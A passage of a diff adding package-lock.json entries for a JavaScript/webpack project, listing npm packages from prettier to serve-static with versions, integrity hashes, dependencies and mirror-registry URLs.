"sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "dev": true, + "optional": true, + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dev": true, + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/progress-webpack-plugin": { + "version": "1.0.16", + "resolved": "https://registry.npmmirror.com/progress-webpack-plugin/-/progress-webpack-plugin-1.0.16.tgz", + "integrity": "sha512-sdiHuuKOzELcBANHfrupYo+r99iPRyOnw15qX+rNlVUqXGfjXdH4IgxriKwG1kNJwVswKQHMdj1hYZMcb9jFaA==", + "dev": true, + "dependencies": { + "chalk": "^2.1.0", + "figures": "^2.0.0", + "log-update": "^2.3.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "peerDependencies": { + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0" + } + }, + "node_modules/progress-webpack-plugin/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/progress-webpack-plugin/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/progress-webpack-plugin/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/progress-webpack-plugin/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/progress-webpack-plugin/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/progress-webpack-plugin/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmmirror.com/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dev": true, + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==", + "dev": true + }, + "node_modules/pump": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/pump/-/pump-3.0.2.tgz", + "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "dev": true, + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmmirror.com/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/read-pkg": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/read-pkg/-/read-pkg-5.2.0.tgz", + "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", + "dev": true, + "dependencies": { + "@types/normalize-package-data": "^2.4.0", + "normalize-package-data": "^2.5.0", + "parse-json": "^5.0.0", + "type-fest": "^0.6.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/read-pkg-up": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz", + "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", + "dev": true, + "dependencies": { + "find-up": "^4.1.0", + "read-pkg": "^5.2.0", + "type-fest": "^0.8.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg-up/node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.2.0", + "resolved": "https://registry.npmmirror.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz", + "integrity": "sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmmirror.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==", + "dev": true + }, + "node_modules/regenerator-transform": { + "version": "0.15.2", + "resolved": "https://registry.npmmirror.com/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regexpp": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/regexpp/-/regexpp-3.2.0.tgz", + "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + } + }, + "node_modules/regexpu-core": { + "version": "6.1.1", + "resolved": "https://registry.npmmirror.com/regexpu-core/-/regexpu-core-6.1.1.tgz", + "integrity": "sha512-k67Nb9jvwJcJmVpw0jPttR1/zVfnKf8Km0IPatrU/zJ5XeG3+Slx0xLXs9HByJSzXzrlz5EDvN6yLNMDc2qdnw==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.2.0", + "regjsgen": "^0.8.0", + "regjsparser": "^0.11.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmmirror.com/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==", + "dev": true + }, + "node_modules/regjsparser": { + "version": "0.11.2", + "resolved": "https://registry.npmmirror.com/regjsparser/-/regjsparser-0.11.2.tgz", + "integrity": "sha512-3OGZZ4HoLJkkAZx/48mTXJNlmqTGOzc0o9OWQPuWpkOlXXPbyN6OafCcoXUnBqE2D3f/T5L+pWc1kdEmnfnRsA==", + "dev": true, + "dependencies": { + "jsesc": "~3.0.2" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dev": true, + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmmirror.com/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmmirror.com/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/scule": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/scule/-/scule-1.3.0.tgz", + "integrity": "sha512-6FtHJEvt+pVMIB9IBY+IcCJ6Z5f1iQnytgyfKMhDKgmzYG+TeH/wx1y3l27rshSbLiSanrR9ffZDrEsmjlQF2g==", + "dev": true + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==", + "dev": true + }, + "node_modules/selfsigned": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/selfsigned/-/selfsigned-2.4.1.tgz", + "integrity": "sha512-th5B4L2U+eGLq1TVh7zNRGBapioSORUeymIydxgFpwww9d2qyKvtuPU2jJuHvYAwwqi2Y596QBL3eEqcPEYL8Q==", + "dev": true, + "dependencies": { + "@types/node-forge": "^1.3.0", + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmmirror.com/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "dev": true, + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "dev": true, + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==", + "dev": true + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "dev": true + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmmirror.com/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "dev": true, + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": 